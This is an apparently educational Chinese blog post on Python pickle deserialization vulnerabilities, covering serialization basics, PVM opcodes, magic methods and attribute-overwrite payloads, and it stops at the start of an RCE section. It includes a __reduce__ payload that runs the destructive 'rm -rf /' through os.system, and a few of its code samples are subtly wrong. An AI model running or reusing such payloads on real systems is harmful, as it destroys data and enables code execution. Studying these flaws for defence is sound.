pickle反序列化

面试的时候被问到不太答得上来就想着学一学，正好BUU刷到了题，就学一学这个漏洞，感觉了解过php反序列化的再对python语言有点了解之后会比较好上手，可以类比php反序列化学习

下面是学习的一些网站，大致从5个方面浅析pickle反序列化可以参考原文

例题[CISCN2019 华北赛区 Day1 Web2]ikun

基础原理

漏洞利用和绕过

魔术方法

防护与示例

从零开始和一些绕过

什么是pickle

Pickle是Python内置的序列化/反序列化的模块，作用是将任意python对象转换为二进制流并还原,也能将字节流还原为原始对象,常用于对象持久化、进程间通信等场景

pickle模块不安全，只有在信任数据源时才能使用。恶意构造的pickle数据可以在反序列化时执行任意代码

但pickle的设计初衷是“信任环境内的对象交换”，而非“不可信数据解析”——其反序列化过程会主动执行对象关联的代码，这一特性使其成为黑客攻击的突破口，即Pickle反序列化漏洞：恶意构造的Pickle字节流，可在反序列化时触发任意代码执行，进而控制目标主机

但是要区别pickle不是“数据格式化转换器（如JSON）”，而是“对象构造器”即反序列化时，它会根据字节流中的指令，一步步重建对象，而这个“重建过程”会主动调用Python的内置方法和函数，若指令被篡改，就会执行恶意代码

简单补充一下pickle和JSON的区别：JSON只能表示基本类型（数值、字符串、列表、字典等），而Pickle能够序列化几乎任意Python对象（类实例、函数、复杂数据结构等）

对比项 Pickle JSON
可存储类型 任意 Python 对象（类、函数、集合等） 基本数据类型（数字、字符串、数组、字典）
跨语言性 Python 专用 跨语言
安全性 反序列化可执行代码 → 有安全风险 相对安全（只解析数据）

对于反序列化这里就不多赘述了，之前学过php反序列化时已经大致了解，简单来说把“对象 -> 字符串”的翻译过程称为“序列化”；相应地，把“字符串 -> 对象”的过程称为“反序列化”。需要保存一个对象的时候，就把它序列化变成字符串；需要从字符串中提取一个对象的时候，就把它反序列化

在对象协议方面，Python允许类定义特殊方法来自定义序列化行为：

  • __getstate__ /__setstate__: 当需要自定义实例状态存取时使

  • __reduce__/__reduce_ex__: 在反序列化时自动调用，返回描述如何重构对象的可调用对象和参数元组，使得Pickle可以调用这个可调用对象并传入参数来重新创建实例 。例如，__reduce__()可以返回(func, args)，Pickle在加载时会执行func(*args)来重建对象 。如果__reduce__返回了额外的状态值，Unpickler在创建对象后会调用该对象的__setstate__方法来设置状态 。在Python 3.x中，__reduce_ex__(protocol)优先于__reduce__，允许针对不同协议版本定制返回值

基本用法

python的pickle模块用于反序列化的两个函数

  • pickle.dumps()：序列化
  • pickle.loads()：反序列化

序列化对象

使用 pickle.dumps() 方法可以将 Python 对象序列化并保存到文件中

1
2
3
4
5
6
7
8
9
10
11
12
import pickle

# 创建一个 Python 对象
data = {
    'name': 'Alice',
    'age': 25,
    'hobbies': ['reading', 'traveling']
}

# 将对象序列化并保存到文件
with open('data.pkl', 'wb') as file:
    pickle.dumps(data, file)
  • 'wb' 表示以二进制写模式打开文件。
  • pickle.dumps() 将 data 对象序列化并写入文件

反序列化对象

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

data = {"name": "YoSheep", "role": "people"} #原始字典，键值对

# 序列化data
ser = pickle.dumps(data)

# 反序列化
obj = pickle.loads(ser)

print(ser)
print(obj)

  • 'rb' 表示以二进制读模式打开文件。
  • pickle.load() 从文件中读取字节流并反序列化为 Python 对象

image-20260310195239350

可以看到这里与php反序列化不同的是，python序列化后的结果并没有之前我们所规定的属性

对文件的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

data = {"name": "YoSheep", "role": "people"} #原始字典，键值对

# 序列化到文件
with open("data.pkl", "wb") as f: #"wb"模式：w = write（写入）b = binary（二进制）
    pickle.dump(data, f) #将 data 对象序列化并写入文件 data.pkl

# 从文件反序列化
with open("data.pkl", "rb") as f: #"rb"模式：r=read（读取）b = binary（二进制）
    obj = pickle.load(f)#从文件 f 中读取 pickle 数据并还原为 Python 对象 即obj 的值等于原始 data

print(obj)

image-20260310195652184

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle

class student():
    def __init__(self, name, age, score):
        self.name = name
        self.age = age
        self.score = score

# 自定义打印时的字符串格式
def __repr__(self):
    return f"Student(name={self.name}, age={self.age}, score={self.score})"

stu = student("张三", 20, 90)

print("序列化前：", stu)
# 序列化
print("序列化后：", pickle.dumps(stu))
# 反序列化
s = pickle.loads(pickle.dumps(stu))
print("反序列化后：", s)

image-20260310201734821

该对象经历了一个：对象 -> 二进制数据 -> 对象的过程

可序列化的对象类型

Pickle 可以序列化大多数 Python 对象，包括：

  • 基本数据类型：整数、浮点数、字符串、布尔值、None
  • 集合类型：列表、元组、字典、集合
  • 自定义类的实例
  • 函数和类（有一定限制）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle

# 序列化不同类型的数据
numbers = [1, 2, 3]
text = "Hello, Pickle"
dictionary = {'key': 'value'}
tuple_data = (1, 2, 3)
set_data = {1, 2, 3}

# 将所有数据放入一个列表
all_data = [numbers, text, dictionary, tuple_data, set_data]

# 序列化
with open('mixed_data.pkl', 'wb') as f:
    pickle.dump(all_data, f)

# 反序列化
with open('mixed_data.pkl', 'rb') as f:
    loaded_data = pickle.load(f)
    print(loaded_data)

序列化自定义类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import pickle

class Student:
    def __init__(self, name, age, grade):
        self.name = name
        self.age = age
        self.grade = grade
    
    def __repr__(self):
        return f"Student(name={self.name}, age={self.age}, grade={self.grade})"

# 创建实例
student = Student("李四", 20, "大三")

# 序列化
with open('student.pkl', 'wb') as f:
    pickle.dump(student, f)

# 反序列化
with open('student.pkl', 'rb') as f:
    loaded_student = pickle.load(f)
    print(loaded_student)
    # 输出: Student(name=李四, age=20, grade=大三)

序列化多个对象

可以多次调用 pickle.dumps() 来保存多个对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle

data1 = {'item': 'apple', 'count': 5}
data2 = ['banana', 'orange', 'grape']
data3 = 42

# 保存多个对象
with open('multiple.pkl', 'wb') as f:
    pickle.dump(data1, f)
    pickle.dump(data2, f)
    pickle.dump(data3, f)

# 读取多个对象（顺序必须一致）
with open('multiple.pkl', 'rb') as f:
    loaded_data1 = pickle.load(f)
    loaded_data2 = pickle.load(f)
    loaded_data3 = pickle.load(f)
    
print(loaded_data1)
print(loaded_data2)
print(loaded_data3)

pickle模块常用方法

方法 说明 示例
pickle.dump(obj, file) 将对象序列化并写入文件 pickle.dump(data, open('data.pkl', 'wb'))
pickle.load(file) 从文件读取并反序列化对象 data = pickle.load(open('data.pkl', 'rb'))
pickle.dumps(obj) 将对象序列化为字节串 bytes_data = pickle.dumps([1, 2, 3])
pickle.loads(bytes) 从字节串反序列化对象 lst = pickle.loads(bytes_data)
pickle.HIGHEST_PROTOCOL 可用的最高协议版本（属性） pickle.dump(..., protocol=pickle.HIGHEST_PROTOCOL)
pickle.DEFAULT_PROTOCOL 默认协议版本（属性，通常为4） pickle.dumps(obj, protocol=pickle.DEFAULT_PROTOCOL)

序列化对象到文件

将一个字典对象序列化并保存到文件 data.pkl 中

1
2
3
4
import pickle
data = {'name': 'Alice', 'age': 25}
with open('data.pkl', 'wb') as f:
    pickle.dump(data, f, protocol=pickle.HIGHEST_PROTOCOL)

image-20260311200442381

从文件反序列化

1
2
3
4
5
import pickle
data = {'name': 'Alice', 'age': 25}
with open('data.pkl', 'rb') as f:
    loaded_data = pickle.load(f)
print(loaded_data)  # 输出: {'name': 'Alice', 'age': 25}

image-20260311200652436

序列化为字节串

1
2
3
4
5
6
7
8
import pickle
data = {'name': 'Alice', 'age': 25}
bytes_data = pickle.dumps([1, 2, 3], protocol=4)
restored_list = pickle.loads(bytes_data)
print("原始数据:", data)
print("序列化后的字节串:", bytes_data)
print("反序列化后的数据:", restored_list)
print("是否相等:", data == restored_list)

image-20260311201147656

漏洞原理

反序列化即执行指令

pickle反序列化遵循“指令驱动”逻辑，字节流中包含的不是原始数据而是“如何构造对象的步骤”

关键危险点在于：

  • 触发特殊方法：若反序列化的对象定义了__reduce__方法，pickle会自动调用该方法，其返回值（通常是元组）会被当作“构造对象的指令”——元组的第一个元素是可调用对象（如函数、类），后续元素是该对象的参数，pickle会执行可调用对象（参数）的操作
  • 引用全局对象：pickle会直接引用序列化时记录的全局变量（如模块、函数），若这些全局变量被恶意替换（如将os.system伪装成普通函数），反序列化时会执行恶意逻辑
  • 无数据校验：pickle不验证字节流的合法性，无论内容是否包含恶意指令，都会按步骤执行

注：另一种原理解释

Pickle反序列化过程相当于一个完整的虚拟机（Pickle VM，简称PVM）在Python解释器中执行字节码序列 。PVM维护一个指令解析器（依次读取并执行操作码）、一个使用Python list 实现的操作栈（临时存储数据和中间结果）、以及一个使用Python dict 实现的memo（对象缓存，用于避免重复反序列化同一对象）。在解析字节流时，每遇到一个操作码（opcode），就执行相应操作并更新栈或memo，直到遇到终止符（.）为止，最终栈顶的对象即为反序列化结果

这里讲到了栈和PVM感觉有点点难懂

通俗点说就是Pickle 反序列化就像是在 Python 里运行一个迷你“虚拟机”。
它会一条一条地读取序列化数据中的指令（就像程序的字节码），
然后按照这些指令往一个“临时工作台”（叫操作栈）上放东西、做计算，
同时还会用一个“备忘录”（叫 memo）记住已经处理过的对象，避免重复干活。
一直执行到遇到结束标记（.）为止，最后“工作台”最上面的那个东西，就是还原出来的原始对象。

简单来说：Pickle 不是直接“读回”数据，而是“重演”创建这个对象的过程——而这个过程可能包含任意代码，所以很危险

魔术方法

python魔术方法

构造方法__new__

  • 调用时机：在实例化一个类时自动被调用，是类的构造方法
  • 作用：可以通过重写__new__自定义类的实例化过程

初始化方法__init__

  • 调用时机：在__new__方法之后被调用，主要负责定义类的属性，以初始化实例
  • 用法
1
def __init__(self, 参数1, 参数2, ……):

析构方法__del__

类比php中的__destruct()魔术方法

  • 调用时机：在实例化销毁时调用，只在实例的所有调用结束后才会被调用

__getattr__

类比php的__get()魔术方法

  • 调用时机：获取不存在的对象属性时触发
  • 特点：存在返回值

__setattr__

  • 调用时机：设置对象成员值的时候触发
  • 用法
1
2
3
4
setattr(object, name, value)
#object：对象
#name：字符串，对象属性
#value：属性值

__repr__

  • 调用时机：在实例被传入repr()时被调用
  • 返回值：必须返回字符串

__call__

类比php反序列化的__invoke()方法

  • 调用时机：把对象当作函数调用时触发

__len__

  • 调用时机：被传入len()时调用
  • 返回值：返回一个整型

__str__

  • 调用时机：被str()、format()、print()调用时调用，返回一个字符串

python的特殊属性

object.__dict__

一个字典或其他类型的映射对象，用于存储对象的（可写）属性

instance.__class__

类实例所属的类

class.__bases__

由类对象的基类所组成的元组

definition.__name__

类、函数、方法、描述器或生成器实例的名称

definition.__qualname__

类、函数、方法、描述器或生成器实例的 qualified name

__reduce__是序列化协议的核心方法

pickle模块在序列化对象时会调用对象的__reduce__方法（如果存在），class的__reduce__方法，在pickle反序列化的时候会被执行。其底层的编码方法，就是利用了R指令码。 f要么返回字符串，要么返回一个tuple，后者对我们而言更有用。该方法返回一个元组，用于告诉pickle如何重建对象：

  • 第一个元素时可调用对象（如函数、类等）
  • 第二个元素时调用该可调用对象的参数（元组形式）
  • 后续元素可选（如用于__setstate__的状态）

攻击者可利用这点执行任意代码

1
2
3
4
5
6
7
8
9
10
11
import pickle
import os

class Malicious:
    def __reduce__(self):
        # 返回要执行的函数和参数
        return (os.system, ('rm -rf /',))  # 恶意命令，攻击者可以重写 __reduce__，使其返回一个任意可调用对象（如 os.system）及其参数，从而在反序列化时执行任意代码，实际题目中一般是用来执行rce


payload = pickle.dumps(Malicious())
pickle.loads(payload)  # 反序列化时执行命令

__reduce__的底层控制权

__reduce__直接暴露了对象重建的底层逻辑：

  • 直接指定可调用对象和参数：攻击者可以完全控制反序列化时执行的函数（如os.system,subprocess.call等）
  • 绕过高层抽象：不需要依赖对象本身的逻辑，只需构造__reduce__返回的元组即可

其他魔术方法的局限

Python对象有许多魔术方法（如__init__、__new__、__setstate__等），但在反序列化过程中的行为受限

  • __init__和__new__
    • 作用：初始化对象
    • 局限：无法直接执行外部系统命令

攻击者需要依赖类的本身行为，而pickle默认不会对这些方法执行任意代码

  • __setstate__
    • 作用：恢复对象的状态（通过__getstate__保存的状态）
    • 局限：输入的是序列化时保存的状态

攻击者需要构造特定的状态数据，且执行能力有限

  • __getattr__和__getattribute__
    • 作用：处理属性访问
    • 局限：不直接参与反序列化过程

栈

栈是一种存储数据的结构.栈有压栈和弹栈两种操作

PVM

pickle是一种栈语言,它由一串串opcode（指令集）组成.该语言的解析是依靠Pickle Virtual Machine（PVM）进行的

PVM由以下三部分组成

  • 指令处理器：从流中读取 opcode 和参数，并对其进行解释处理。重复这个动作，直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
  • stack：由 Python 的 list 实现，被用来临时存储数据、参数以及对象。
  • memo：由 Python 的 dict 实现，为 PVM 的整个生命周期提供存储

常见的opcode

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK，以之间的第一个数据（必须为函数）为callable，第二个到第n个数据为参数，执行该函数（或实例化一个对象） o 这个过程中涉及到的数据都出栈，函数的返回值（或生成的对象）入栈
i 相当于c和o的组合，先获取一个全局函数，然后寻找栈中的上一个MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象） i[module]\n[callable]\n 这个过程中涉及到的数据都出栈，函数返回值（或生成的对象）入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n（也可以使用双引号、’等python字符串形式） 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数（第二个对象必须为元组），然后调用该函数 R 函数和参数出栈，函数的返回值入栈
. 程序结束，栈顶的一个元素作为pickle.loads()的返回值 . 无
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK，并组合之间的数据为元组 t MARK标记以及被组合的数据出栈，获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK，并组合之间的数据为列表 l MARK标记以及被组合的数据出栈，获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK，并组合之间的数据为字典（数据必须有偶数个，即呈key-value对） d MARK标记以及被组合的数据出栈，获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 无
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素（储存多个属性名: 属性值的字典）对第二个元素（对象实例）进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对，添加或更新到栈的第三个对象（必须为列表或字典，列表以数字作为key）中 s 第一、二个元素出栈，第三个元素（列表或字典）添加新值或被更新
u 寻找栈中的上一个MARK，组合之间的数据（数据必须有偶数个，即呈key-value对）并全部添加或更新到该MARK之前的一个元素（必须为字典）中 u MARK标记以及被组合的数据出栈，字典被更新

比较全的指令集（从网上搬的其他师傅的）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# Pickle opcodes.  See pickletools.py for extensive docs.  The listing
# here is in kind-of alphabetical order of 1-character pickle code.
# pickletools groups them by purpose.
# 说明:
# 1.如果对栈顶元素只说了取出,而没有说弹出的话那就说明只是将栈顶元素复制一份放到一个变量或者就是后面的操作对栈顶元素进行更新修改,但是这个栈顶元素是不会弹出的
# 2.部分说明中对数据进行操作先弹出然后进行操作再进行压栈,但是对照源码可能是对栈数组直接进行直接截取而并没有pop弹出或者append的压栈操作,我这里描述为弹出和压栈的过程是为了便于理解
# 3.用于指定后面需要读取的数据大小的字节读出来之后,有可能是按照字符字面大小读取,也可能是按照其16进制大小进行数据读取,例如字符'1'='\x31',0x31=49可能是读取1字节大小也肯能是读取49字节大小,注意我的注释描述
# 4._struct.unpack解压<i格式数据的时候需要传入4字节大小的数据,然后会把4个字节左右顺序调换,得到一个8位的16进制数,最后将其转为一个10进制整数,例如_struct.unpack('<i', b'\x00\x01\x00\x00')[0]=>0x00001000=>256
# 5.struct.unpack解压<Q格式数据则是需要传入8字节大小数据,转换操作同上,例如unpack('<Q', b'\x00\x01\x00\x00\x00\x00\x00\x00')[0] => 0x0000000000000100 => 256
MARK           = b'('   #向栈中压入一个Mark标记
STOP           = b'.'   #相当于停止当前的反序列化过程
POP            = b'0'   #从栈中pop出一个元素,就是删除栈顶元素
POP_MARK       = b'1'   #从栈中不断pop元素直到遇到Mark标记
DUP            = b'2'   #向栈中再压入一个当前的栈顶元素,就是复制一份当前栈顶元素然后进行压栈
FLOAT          = b'F'   #读取当前行到行末尾,然后转为float类型,向栈中压入一个float浮点数
INT            = b'I'   #向栈中压入一个int整数,整数就是当前行的最后一个字节,不过如果整数为01的时候压入的是True,为00的时候压入的是False
BININT         = b'J'   #从后面的输入中读取4个字节并且使用unpack通过'<i'的格式将4字节的buffer数据解包转为int类型,后面不能换行,直接家下一步的操作b"(S'a'\nK\x01\x01\x01\x01."
BININT1        = b'K'   #和上面BININT一样,不过K操作只读取一个字节的数据b"(S'a'\nK\x01."
LONG           = b'L'   #读取当前行到行末尾,然后转为int类型,但如果后面是字符L的话会先去掉最后一个字符L再转int
BININT2        = b'M'   #从后面的输入中读取2个字节并且使用unpack通过'<H'的格式将2字节的buffer作为一个2进制数解包为int,后面不能换行,直接加下一步的操作b"(S'a'\nM\x01\x01."
NONE           = b'N'   #向栈中压入一个None元素,后面不能换行,直接加下一步的操作b"(S'a'\nN."
PERSID         = b'P'   #读取当前行到行末尾,将读取到的数据作为id,通过persistent_load函数获得obj对象返回后将obj对象压栈,默认情况没用,要重写persistent_load函数才能生效
BINPERSID      = b'Q'   #和上面作用一样,从当前栈中弹出一个元素作为id,通过persistent_load...
REDUCE         = b'R'   #从当前栈中弹出两次元素,第一次是函数参数args,第二次是函数func,执行func(args)
STRING         = b'S'   #向栈中压入一个string字符串,内容就是后面的数据,后面的字符串第一个和最后一个必须是单引号b"(S'a'\nS''a''\n."
BINSTRING      = b'T'   #从后面数据读取4字节数据,通过unpack使用<i格式将数据解压后变为int类型, 然后将其作为一个长度, 后面读取这个指定长度的数据作为字符串进行压栈b"(S'a'\nT\x10\x00\x00\x000123456789abcdef."
# _struct.unpack('<i', b"\x10\x00\x00\x00") => (16,)
SHORT_BINSTRING= b'U'   #先读取一个字节数据作为长度,然后按照这个长度读取字符串,读出的字符串压栈
UNICODE        = b'V'   #读出当前行后面的全部数据,然后进行Unicode解码,将解码内容压栈b'V\\u0061\n.'
BINUNICODE     = b'X'   #读出4字节数据通过unpack使用<I格式解压,将解压得到的数据作为长度,然后进行数据读取b'X\x10\x00\x00\x00abcdef0123456789.'
APPEND         = b'a'   #先pop出栈一个变量var1,然后获取当前栈顶元素var2,执行栈顶元素的append函数,就是将一开始的栈顶元素弹出,然后又加到下一个栈顶数组中b"]S'S1nKk'\na." => 得到['S1nKk']
BUILD          = b'b'   #这个操作就是设置元素属性的操作
# 先pop出栈一个变量var1,然后获取当前栈顶元素var2,获取var2的__setstate__子成员作为var3,如果var3非空,那就执行var3(var1),这个操作正常就是通过__setstate__设置变量的属性
# 但是上面的var3为空也有别的处理:
# 1.检查var1是否为tuple类型且长度为2,如果是的话那就将其分别赋值为state,slotstate
# 2.检查state是否为空,如果不为空尝试取出state.items()然后使用k,v键值对的方式便利,最后通过修改var2.__dict__的方式修改var2的属性,也就是使得var2[k]=v,var2.k=v
# 3.检查slotstate是否为空,如果不为空和第2步一样,取出slotstate.items()通过k,v键值对方式遍历,然后使用setattr方法设置var2属性,最后效果也是var2[k]=v,var2.k=v
GLOBAL         = b'c'   #导入一个模块,首先读取当前行后面的全部内容适应utf-8解码得到的字符串作为module,然后再读出下一行的内容同样解析出字符串作为那么,最后导入module.name这个包
DICT           = b'd'   #将栈中的数据弹出到上一个Mark为止,然后按照key:value的方式逐个解析然后放入到一个字典中,将最后得到的字典压栈b"(S'key1'\nS'val1'\nS'key2'\nS'val2'\nd." => {'key1': 'val1', 'key2': 'val2'}
EMPTY_DICT     = b'}'   #没什么好说的,就是往栈中压入一个空字典
APPENDS        = b'e'   #先将栈中元素不断弹出知道Mark标记,然后将弹出的全部元素放入items中,再取出栈顶作为list_obj,之后执行下面两步操作:
# 1.先取出extend=list_obj.extend,然后执行extend(items)
# 2.取出append = list_obj.append,然后使用for循环遍历items得到item,然后每次循环都执行一次append(item)
# 看到这里应该想到函数触发的方法,我们只需要使用b操作将list_obj的extend改为一个危险的函数方法,然后再让参数进入items,就可以通过extend(items)的方式调用任意构造的危险函数了
GET            = b'g'   #读取后面的全部本行数据,然后转为int类型放入变量i中,使用i作为索引,从缓存区取出数据mem[i],然后将这个从缓存中取出的变量压栈
BINGET         = b'h'   #后面读取一个字节的数据,然后使用字符16进制大小作为下标索引,从缓存mem中读数据,将读出的内容压栈,下面就是一个获取缓存中下标为1的数据的实例b"S'h0cksr'\np1\nS't'\n0h\x01."
INST           = b'i'   #两次pop出栈读出数据并且均进行解码操作使其变为字符串格式,
# 1. 第一第二次弹出的数据分别放入module和name中,先导入moudle模块,然后name通过.逐个获取出里面的子成员,最后返回目标子成员(可能是函数也可能是类或变量)var1
# 2. 继续进行出栈,直到遇到Mark标志,将出栈的数据作为参数,var1位方法,执行var1(Mark弹出数据)
# 3. 将生成的实例化对象压栈
LONG_BINGET    = b'j'   #先读出4字节大小数据流,然后通过unpack使用<I格式解压得到int类型数据i,将i作为下标,从缓存中获取变量mem[i],将获取到的数据压栈
LIST           = b'l'   #将上一次Mark之后的数据全部弹出,并且将其存放到一个数组中,然后在将这个数组压栈b"(S'S1nKk'\np1\nS't'\nl."
EMPTY_LIST     = b']'   #没什么好说,往栈中压入一个空数组
OBJ            = b'o'   #先是将上一次Mark之后的数据全部弹出,得到一个数组var1,然后又在var1中pop取出最后一个数据作为var2,之后执行以下过程:
# 1.检查弹出数据后的var1数组是否为空,如果var1非空,或者弹出的var2属于type类型,或者弹出的var2有__getinitargs__属性成员,那么就会执行var2(var1)
# 2.如果以上条件均不满足,那就执行var2.__new__(var2)
# 3.将执行结果压入栈中
PUT            = b'p'   #读取后面全部当前行的数据,然后转为int类型的变量i,然后赋值当前栈顶元素存到memo[i]中
BINPUT         = b'q'   #和上一个一样,不同的是下标i是通过读取1个字节的数据,然后直接当做下标
LONG_BINPUT    = b'r'   #和上一个一样,不同的是下标i是通过读取4个字节的数据,然后通过unpack使用<I模式解压得到的整数当做下标
SETITEM        = b's'   #先在栈中pop弹出第一个数据作为value,然后在pop弹出第二个元素作为key,再获取当前栈顶元素记为dict,给栈顶元素赋值dict[key]=value
TUPLE          = b't'   #弹出上一次Mark之后的全部数据大农一个list数组中,然后使用tuple函数将其转为元组格式再把这个元组压入栈中
EMPTY_TUPLE    = b')'   #没什么好说,往栈中压入一个空元组
SETITEMS       = b'u'   #先弹出上一次Mark之后的全部元素放入一个数组items中,然后获取栈顶元素记为dict,通过i=0,2,3...获取items中的数据,执行dict[items[i]] = items[i + 1]给栈顶的字典元素添加键值对
BINFLOAT       = b'G'   #先读取8字节数据,然后使用unpack通过<d格式的解压,将得到的float数据压栈

TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO          = b'\x80'  #用于声明pickle协议版本
NEWOBJ         = b'\x81'#(这个很有用)  #从栈中弹出两次变量,第一次弹出的变量记为var1,第二次弹出的变量记为var2,然后就会通过cls.__new__(var2, *var1)生成实例化对象,然后将生成的对象压栈
EXT1           = b'\x82'  #'''\x82,\x83,\x84这三个操作都是和extension registry扩展注册表有关的,但是拓展注册表主要维护4个从copyreg导入的映射字典
EXT2           = b'\x83'  #     dispatch_tablecopyreg, _extension_registry, _inverted_registry, _extension_cache
EXT4           = b'\x84'  #     但是从头到尾貌似这几个核心表单都没有发生过变化(也可能是我没注意到而已)'''
TUPLE1         = b'\x85'  #将栈顶元素弹出放到一个元组中再将这个元组压栈,就是将栈顶放到一个元组里面的作用b"S'S1nk'\n\x85." => ('S1nk',)
TUPLE2         = b'\x86'  #将栈顶的两个元素弹出,栈顶弹出为var1,继续弹出一个为var2,然后组成一个元组然后将这个元组压栈,得到(var2,var1),b"S'S1nk'\nS'S1nKk'\n\x86." => ('S1nk', 'S1nKk')
TUPLE3         = b'\x87'  #和上面一样,不够该操作是弹出三个元素形成元组b"S'S1nK'\nS'S11nK'\nS'S111nK'\n\x87." => ('S1nK', 'S11nK', 'S111nk')
NEWTRUE        = b'\x88'  #向栈中压入一个True
NEWFALSE       = b'\x89'  #向栈中压入一个False
LONG1          = b'\x8a'  #先读取一个字节,以该字节16进制数为大小size,从后面的数据读取size个字节,然后将读取到的数据转为long类型
LONG4          = b'\x8b'  #读取4字节数据,通过unpack的<i格式将数据解压得到一个整数,以这个整数为字节大小读取后面的数据

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]#就是元组操作合集,分别是向栈中压入空数组,将最后1个元素放入元组后将元组压栈,将最后2个元素放入元组后将元组压栈,将最后3个元素放入元组后将元组压栈

# Protocol 3 (Python 3.x)#这里要注意一下,后面的操作是有python3方才支持

BINBYTES       = b'B'   #先读取4字节数据通过unpack使用<i格式将数据解压,将得到的结果作为大小向后读取相应字节数,然后将读取到的全部字节压栈,注意一下,压栈的是原始的比特流数据b'B\x06\x00\x00\x00h0cksr.' => b'S1nKk'
SHORT_BINBYTES = b'C'   #读取一个字节,以它的16进制数作为大小向后读取对应字节的数据b'C\x06h0cksr.' => b'S1nKk'

# Protocol 4
SHORT_BINUNICODE = b'\x8c'  #先读取一个字节,以这个字节的16进制为大小向后读取对应字节的数据,然后使用utf-8的格式解码数据为字符串格式,然后将这个字符串压栈b'\x8c\x06S1nKk.' => S1nKk
BINUNICODE8      = b'\x8d'  #先读取8字节数据然后通过unpack使用<Q格式解压数据,将得到的结果作为大小向后读取相应字节数,然后将读取到的数据使用utf-8格式解压为字符串,将字符串压栈b'\x8d\x06\x00\x00\x00\x00\x00\x00\x00h0cksr.' => h0cksr
BINBYTES8        = b'\x8e'  #同上读取8字节数据<Q格式解压,然后读取数据,但是直接将比特流数据压栈而不会解码b'\x8e\x06\x00\x00\x00\x00\x00\x00\x00S1nKk.' => b'S1nKk'
EMPTY_SET        = b'\x8f'  #向栈中压入一个set类型的空集合(set()没有指定iterable的时候返回的是一个空集合)
ADDITEMS         = b'\x90'  #先pop弹出一个元素作为items,记栈顶元素为top,然后检查top是否为set类型,如果是的话就执行top.update(items),如果top不是set类型那就使用for遍历items,逐个执行top.add(item)
FROZENSET        = b'\x91'  #弹出栈顶元素作为items,然后执行frozenset(items)生成一个frozenset类型的变量,并将这个变量压栈
NEWOBJ_EX        = b'\x92'#(这个很有用)  #和NEWOBJ差不多,先从栈中弹出三个元素,第一个,第二个,第三个弹出的元素分别记为var1,var2,var3,然后执行cls.__new__(var3, *var2, **var1)之后将执行生成的对象压栈
STACK_GLOBAL     = b'\x93'#(这个很有用)  #和GLOBAL操作一样但是导入的模块从栈上获取,先弹出一个元素为name,然后再弹出一个元素moudle,要求两个元素都必须是字符串类型,然后到处moudle.name,在将导出的内容压栈b"S'os'\nS'system'\n\x93." => os.system
MEMOIZE          = b'\x94'  #将当前栈顶元素添加到缓存列表的末尾(注意栈顶不会弹出)
FRAME            = b'\x95'  #后面先是读取8字节数据通过unpack使用<Q格式将数据解压得到的结果作为大小,向后读取对应字节的数据,然后将读取到的数据进行正常pickle反序列化(感觉用不用这个操作没啥差别,但是细节差别的话看源码)

漏洞利用

变量覆盖

若存在类Secret,类有一个name属性,那我们可以通过pickle反序列化修改这个属性的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import pickle
import pickletools
class Secret:
    def __init__(self, name):
        self.name = name # 输出: 修改前 s.name = S1nKk

# 创建实例
s=Secret("S1nKk")
# 恶意 pickle 字节码
opcode=b"""c__main__
s
(S'name'
S'Hello_Pick1e'
db."""
# 执行恶意反序列化
pickle.loads(opcode)
# 查看修改后的结果
print(s.name)
# pickletools.dis(opcode)

image-20260312002823859

成功输出Hello_Pick1e，表示成功篡改属性

opcode(恶意字节码分析)

1
2
3
4
5
opcode=b"""c__main__
s
(S'name'
S'Hello_Pick1e'
db."""
  • c__main__
    • pickle指令：global
    • 实际含义：加载__main__模块中的对象
  • s
    • 实际含义：指定要在的对象名是s（即之前创建的Secret的实例）
  • (S'name'
    • pickle指令：mark+string
    • 实际含义：标记开始，压入键’name’到栈
  • S'Hello_Pick1e'
    • pickle指令：string
    • 实际含义：压入值 'Hello_Pick1e' 到栈
  • d
    • pickle指令：setitem
    • 实际含义：执行 s['name'] = 'Hello_Pick1e'（等价于修改实例属性 s.name）
  • b.
    • pickle指令：build+stop
    • 实际含义：构建并结束执行

RCE

可以使用R,i,o,b等操作码实现命令执行

c操作符

这是用的最多的，其中final_class()函数很关键，在对危险函数的过滤和绕过中也会涉及

1
2
3
4
5
def load_global(self):
    module = self.readline()[:-1].decode("utf-8")
    name = self.readline()[:-1].decode("utf-8")#获取moudle和name
    klass = self.find_class(module, name)#使用find_class()获取函数
    self.append(klass)#压栈
1
2
3
4
